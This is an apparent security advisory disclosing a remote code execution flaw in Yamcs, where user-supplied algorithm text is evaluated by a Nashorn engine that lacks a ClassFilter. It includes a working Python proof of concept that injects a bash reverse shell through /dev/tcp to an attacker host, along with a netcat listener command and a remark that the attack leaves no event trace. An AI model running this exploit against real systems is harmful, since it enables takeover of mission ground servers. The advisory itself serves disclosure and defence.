Remote Code Execution via Mission Database algorithm override Summary The Nashorn "ScriptEngine" used to evaluate user-supplied algorithm text in "MdbOverrideApi.updateAlgorithm" is constructed without a "ClassFilter", allowing a user with the "ChangeMissionDatabase" privilege to execute arbitrary Java code on the Yamcs server. In Yamcs's default configuration (no "security.yaml"), the built-in "guest" user has "superuser=true", so the vulnerability is reachable without authentication. Details Vulnerable file: "yamcs-core/src/main/java/org/yamcs/algorithms/ScriptAlgorithmExecutorFactory.java" // L46-53 Nashorn engine obtained without a ClassFilter ScriptEngineFactory factory = scriptEngineManager.getEngineFactories().stream() .filter(candidate -> !JDK_BUILTIN_NASHORN_ENGINE_NAME.equals(candidate.getEngineName()) && candidate.getNames().contains(language)) .findFirst().orElse(null); if (factory != null) { scriptEngine = factory.getScriptEngine(); // ← ClassFilter not supplied } // L109 user-supplied algorithm text reaches eval() scriptEngine.eval(functionScript); "NashornScriptEngineFactory.getScriptEngine()" accepts an optional "ClassFilter" that restricts which classes JavaScript can reach via "Java.type(...)". Yamcs passes no filter, so attacker-supplied JavaScript can reach any Java class — for example, "Java.type("java.lang.Runtime").getRuntime().exec(...)" runs arbitrary OS commands inside the Yamcs JVM. The path from HTTP request to "eval" is: "MdbOverrideApi.updateAlgorithm" ("yamcs-core/src/main/java/org/yamcs/http/api/MdbOverrideApi.java:145-189") → "AlgorithmManager.overrideAlgorithm" ("yamcs-core/src/main/java/org/yamcs/algorithms/AlgorithmManager.java:529-559") → "ScriptAlgorithmExecutorFactory.makeExecutor" ("yamcs-core/src/main/java/org/yamcs/algorithms/ScriptAlgorithmExecutorFactory.java:102-117") → "scriptEngine.eval(...)". PoC Run against any reachable Yamcs deployment that has at least one JavaScript "CustomAlgorithm" in its MDB (the "simulator" example MDB includes several, such as "/YSS/SIMULATOR/Battery_Voltage_Avg"). Attacker-side listener: nc -lvnp 4444 #!/usr/bin/env python3 """ Usage: python3 <poc>.py http://target:8090 LHOST LPORT """ import json, sys, time, urllib.request TARGET = sys.argv[1].rstrip("/") LHOST = sys.argv[2] LPORT = int(sys.argv[3]) INSTANCE = "simulator" PROCESSOR = "realtime" ALGORITHM = "YSS/SIMULATOR/Battery_Voltage_Avg" Close the generated wrapper function with "}", execute the payload at top level, then re-open a dummy function so the trailing "}" emitted by ScriptAlgorithmExecutorFactory parses. No throw -> no event fired. payload = ( '} ' 'Java.type("java.lang.Runtime").getRuntime().exec(' f'["bash","-c","exec 3<>/dev/tcp/{LHOST}/{LPORT}; id >&3; sh -i <&3 >&3 2>&3"]); ' 'function _x(){' ) patch = f"{TARGET}/api/mdb-overrides/{INSTANCE}/{PROCESSOR}/algorithms/{ALGORITHM}" def http(method, url, body=None): req = urllib.request.Request(url, data=json.dumps(body).encode() if body else None, method=method, headers={"Content-Type": "application/json"}) return urllib.request.urlopen(req, timeout=10).read() http("PATCH", patch, {"action": "SET", "algorithm": {"text": payload}}) time.sleep(2) http("PATCH", patch, {"action": "RESET"}) <img width="1841" height="881" alt="nashorn-rce-poc" src="https://github.com/user-attachments/assets/48432eea-67b5-4f3b-af97-c77325b0d671" /><br> The override path emits events only when evaluation fails: a "WARNING" from "ScriptAlgorithmExecutorFactory.java:112" and a "CRITICAL" from "AlgorithmManager.java:546". Any syntactically valid payload — like the one above — succeeds silently and no event is fired, so the attack leaves no trace in the Yamcs event stream. Impact Arbitrary code runs as the OS user running the Yamcs server, leading to compromise of that server and disruption of the mission it controls. For a Yamcs deployment managing spacecraft operations, an attacker can: - forge or block telecommands, suppress alarms, and tamper with the telemetry archive — disrupting or seizing control of the mission; - read any file the Yamcs process can read (cryptographic keys, credentials, MDB source files, configuration); - pivot to other ground-station systems reachable from the server (TSE instruments, neighboring Yamcs instances, internal services); - install a persistent backdoor via the same primitive. Who is impacted: - All Yamcs deployments running in the default configuration (no "security.yaml" present): any unauthenticated network attacker that can reach the HTTP API port (default "8090"). - Yamcs deployments with security enabled: any user that has been granted the "ChangeMissionDatabase" system privilege. This privilege is commonly given to MDB engineers and operators who edit calibrators or thresholds; the vulnerability turns that privilege into arbitrary code execution on the server. Affected Versions All Yamcs releases that ship the algorithm override endpoint are affected — no "ClassFilter" has ever been applied to the script engine. - First vulnerable release: "yamcs-4.7.3" (2018-11-22). Introduced in commit "951e505d18a3912813b59edc685cbcbd4c609906" ("added possibility to change in a running processor alarms, calibrations and algorithms texts"). The commit added the "ChangeAlgorithmRequest" RPC (later renamed "UpdateAlgorithmRequest") and routed it as "PATCH /api/mdb/{instance}/{processor}/algorithms/{name*}". - Routing change at "yamcs-5.5.0" (2021-04): the endpoint was split out of "MdbApi" into "MdbOverrideApi" and moved to "PATCH /api/mdb-overrides/{instance}/{processor}/algorithms/{name*}". The underlying "scriptEngine.eval(...)" sink and the missing "ClassFilter" are identical. - Latest release: "yamcs-5.12.6" (commit "f1a26fe54587fab9960d7e53fc1bf0c879220e9e") is affected. These four files ("MdbOverrideApi.java", "AlgorithmManager.java", "ScriptAlgorithmExecutorFactory.java", "SecurityStore.java") are unchanged between "5.12.6" and current "master" ("96d3e2d474415bea859f40ecbddc1bb8a0d141c1") — no upstream fix exists. In short: every Yamcs release from "4.7.3" through "5.12.6", plus current "master", is vulnerable (133 release tags spanning 2018-11-22 to present).